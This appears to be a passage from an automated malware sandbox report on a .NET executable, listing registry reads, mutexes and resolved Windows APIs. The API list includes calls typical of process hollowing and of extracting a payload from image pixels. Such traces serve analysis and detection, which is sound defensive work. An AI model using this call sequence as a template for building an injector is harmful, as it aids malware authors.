HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\mscorjit.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\System.ni.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\System.Drawing.ni.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\System.Windows.Forms.ni.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\culture.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\diasymreader.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names

Write Keys

Nothing to display

Delete Keys

Nothing to display

Mutexes

Global\CLR_CASOFF_MUTEX
Global\{7d03bbd7-8b24-4601-8d29-29b893caff79}
Global\.net clr networking

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
clr.dll.SetRuntimeInfo
clr.dll._CorExeMain
mscoree.dll.CreateConfigStream
mscoreei.dll.CreateConfigStream
kernel32.dll.GetNumaHighestNodeNumber
kernel32.dll.GetSystemWindowsDirectoryW
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddSIDToBoundaryDescriptor
kernel32.dll.CreateBoundaryDescriptorW
kernel32.dll.CreatePrivateNamespaceW
kernel32.dll.OpenPrivateNamespaceW
kernel32.dll.DeleteBoundaryDescriptor
kernel32.dll.WerRegisterRuntimeExceptionModule
kernel32.dll.RaiseException
mscoree.dll.#24
mscoreei.dll.#24
ntdll.dll.NtSetSystemInformation
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
kernel32.dll.GetNativeSystemInfo
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
clrjit.dll.sxsJitStartup
clrjit.dll.getJit
kernel32.dll.CloseHandle
kernel32.dll.GetCurrentProcess
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetUserPreferredUILanguages
nlssorting.dll.SortGetHandle
nlssorting.dll.SortCloseHandle
kernel32.dll.GetTempPathW
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
kernel32.dll.GetFullPathNameW
cryptsp.dll.CryptGetDefaultProviderW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
kernel32.dll.SetThreadErrorMode
kernel32.dll.CreateFileW
kernel32.dll.GetFileType
kernel32.dll.WriteFile
kernel32.dll.GetFileAttributesExW
kernel32.dll.GetCurrentDirectoryW
kernel32.dll.GetStdHandle
kernel32.dll.GetEnvironmentStrings
kernel32.dll.GetEnvironmentStringsW
kernel32.dll.FreeEnvironmentStringsW
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.CreateProcessW
kernel32.dll.DuplicateHandle
kernel32.dll.GetExitCodeProcess
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
kernel32.dll.DeleteFileW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
kernel32.dll.FindResourceA
kernel32.dll.SizeofResource
kernel32.dll.LoadResource
kernel32.dll.LockResource
gdiplus.dll.GdiplusStartup
kernel32.dll.IsProcessorFeaturePresent
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayMonitors
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipCreateBitmapFromStream
windowscodecs.dll.DllGetClassObject
kernel32.dll.WerRegisterMemoryBlock
gdiplus.dll.GdipImageForceValidation
gdiplus.dll.GdipGetImageRawFormat
gdiplus.dll.GdipGetImageWidth
gdiplus.dll.GdipGetImageHeight
gdiplus.dll.GdipBitmapGetPixel
shell32.dll.SHGetFolderPathW
kernel32.dll.CopyFileW
kernel32.dll.DeleteFileA
kernel32.dll.WideCharToMultiByte
kernel32.dll.LoadLibraryA
kernel32.dll.GetProcAddress
kernel32.dll.GetModuleHandleA
advapi32.dll.LookupPrivilegeValueW
advapi32.dll.AdjustTokenPrivileges
ntdll.dll.NtQuerySystemInformation
kernel32.dll.CreateProcessA
kernel32.dll.GetThreadContext
kernel32.dll.Wow64GetThreadContext
kernel32.dll.SetThreadContext
kernel32.dll.Wow64SetThreadContext
kernel32.dll.ReadProcessMemory
kernel32.dll.WriteProcessMemory
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.VirtualAllocEx
kernel32.dll.ResumeThread
ole32.dll.CoUninitialize
oleaut32.dll.#500
gdiplus.dll.GdipDisposeImage
cryptsp.dll.CryptReleaseContext
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
kernel32.dll.QueryActCtxW
advapi32.dll.EventUnregister
kernel32.dll.GetProcessPreferredUILanguages
kernel32.dll.GetUserDefaultUILanguage
version.dll.GetFileVersionInfoSizeA
version.dll.GetFileVersionInfoA
version.dll.VerQueryValueA
alink.dll.CreateALink
mscoree.dll.CLRCreateInstance
mscoreei.dll.CLRCreateInstance
cryptsp.dll.CryptAcquireContextA
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
clr.dll.DllGetClassObjectInternal
clr.dll.StrongNameTokenFromPublicKey
clr.dll.StrongNameFreeBuffer
clr.dll.CompareAssemblyIdentityWithConfig
clr.dll.CreateAssemblyConfigCookie
clr.dll.DestroyAssemblyConfigCookie
clr.dll.CreateAssemblyNameObject
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptExportKey
cryptsp.dll.CryptDestroyKey
mscorpehost.dll.InitializeSxS
mscorpehost.dll.CreateICeeFileGen
mscorpehost.dll.DestroyICeeFileGen
ole32.dll.CoCreateGuid
diasymreader.dll.DllGetClassObject
rpcrt4.dll.UuidCreate
kernel32.dll.NlsGetCacheUpdateCount
ole32.dll.CreateStreamOnHGlobal
mscoree.dll.CorExitProcess
mscoreei.dll.CorExitProcess
kernel32.dll.InitializeCriticalSectionAndSpinCount
msvcrt.dll._set_error_mode
msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z
kernel32.dll.FindActCtxSectionStringW
mscorwks.dll._CorExeMain
mscorwks.dll.GetCLRFunction
advapi32.dll.RegisterTraceGuidsW
advapi32.dll.UnregisterTraceGuids
advapi32.dll.GetTraceLoggerHandle
advapi32.dll.GetTraceEnableLevel
advapi32.dll.GetTraceEnableFlags
advapi32.dll.TraceEvent
mscoree.dll.IEE
mscoreei.dll.IEE
mscorwks.dll.IEE
mscoree.dll.GetStartupFlags
mscoreei.dll.GetStartupFlags
mscoree.dll.GetHostConfigurationFile
mscoreei.dll.GetHostConfigurationFile
mscoreei.dll.GetCORVersion
mscoree.dll.GetCORSystemDirectory
mscoreei.dll.GetCORSystemDirectory_RetAddr
ntdll.dll.RtlUnwind
kernel32.dll.IsWow64Process
kernel32.dll.AddVectoredContinueHandler
kernel32.dll.RemoveVectoredContinueHandler
advapi32.dll.ConvertSidToStringSidW
kernel32.dll.GetWriteWatch
kernel32.dll.ResetWriteWatch
kernel32.dll.CreateMemoryResourceNotification
kernel32.dll.QueryMemoryResourceNotification
uxtheme.dll.ThemeInitApiHook
user32.dll.IsProcessDPIAware
kernel32.dll.GetVersionExW
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptReleaseContext
advapi32.dll.CryptCreateHash
advapi32.dll.CryptDestroyHash
advapi32.dll.CryptHashData
advapi32.dll.CryptGetHashParam
advapi32.dll.CryptImportKey
advapi32.dll.CryptExportKey
advapi32.dll.CryptGenKey
advapi32.dll.CryptGetKeyParam
advapi32.dll.CryptDestroyKey
advapi32.dll.CryptVerifySignatureA
advapi32.dll.CryptSignHashA
advapi32.dll.CryptGetProvParam
advapi32.dll.CryptGetUserKey
advapi32.dll.CryptEnumProvidersA
mscoree.dll.GetMetaDataInternalInterface
mscoreei.dll.GetMetaDataInternalInterface
mscorwks.dll.GetMetaDataInternalInterface
cryptsp.dll.CryptVerifySignatureA
mscorjit.dll.getJit
user32.dll.RegisterWindowMessageW
user32.dll.GetSystemMetrics
user32.dll.AdjustWindowRectEx
kernel32.dll.GetCurrentThread
kernel32.dll.GetCurrentThreadId
kernel32.dll.lstrlen
kernel32.dll.lstrlenW
kernel32.dll.GetModuleHandleW
user32.dll.DefWindowProcW
gdi32.dll.GetStockObject
user32.dll.RegisterClassW
user32.dll.CreateWindowExW
user32.dll.SetWindowLongW
user32.dll.GetWindowLongW
user32.dll.CallWindowProcW
user32.dll.GetClientRect
user32.dll.GetWindowRect
user32.dll.GetParent
uxtheme.dll.IsAppThemed
kernel32.dll.CreateActCtxA
dwmapi.dll.DwmIsCompositionEnabled
user32.dll.GetWindowTextLengthW
user32.dll.GetWindowTextW
user32.dll.GetProcessWindowStation
user32.dll.GetUserObjectInformationA
kernel32.dll.SetConsoleCtrlHandler
user32.dll.GetClassInfoW
kernel32.dll.GetStartupInfoW
user32.dll.GetWindowPlacement
user32.dll.GetDC
gdi32.dll.GetDeviceCaps
user32.dll.ReleaseDC
user32.dll.CreateIconFromResourceEx
user32.dll.SendMessageW
user32.dll.GetSystemMenu
user32.dll.EnableMenuItem
user32.dll.SetWindowPos
user32.dll.RedrawWindow
user32.dll.ShowWindow
user32.dll.GetWindowThreadProcessId
user32.dll.PostMessageW
ole32.dll.OleInitialize
ole32.dll.CoRegisterMessageFilter
user32.dll.PeekMessageW
user32.dll.IsWindowUnicode
user32.dll.GetMessageW
user32.dll.TranslateMessage
user32.dll.DispatchMessageW
user32.dll.GetFocus
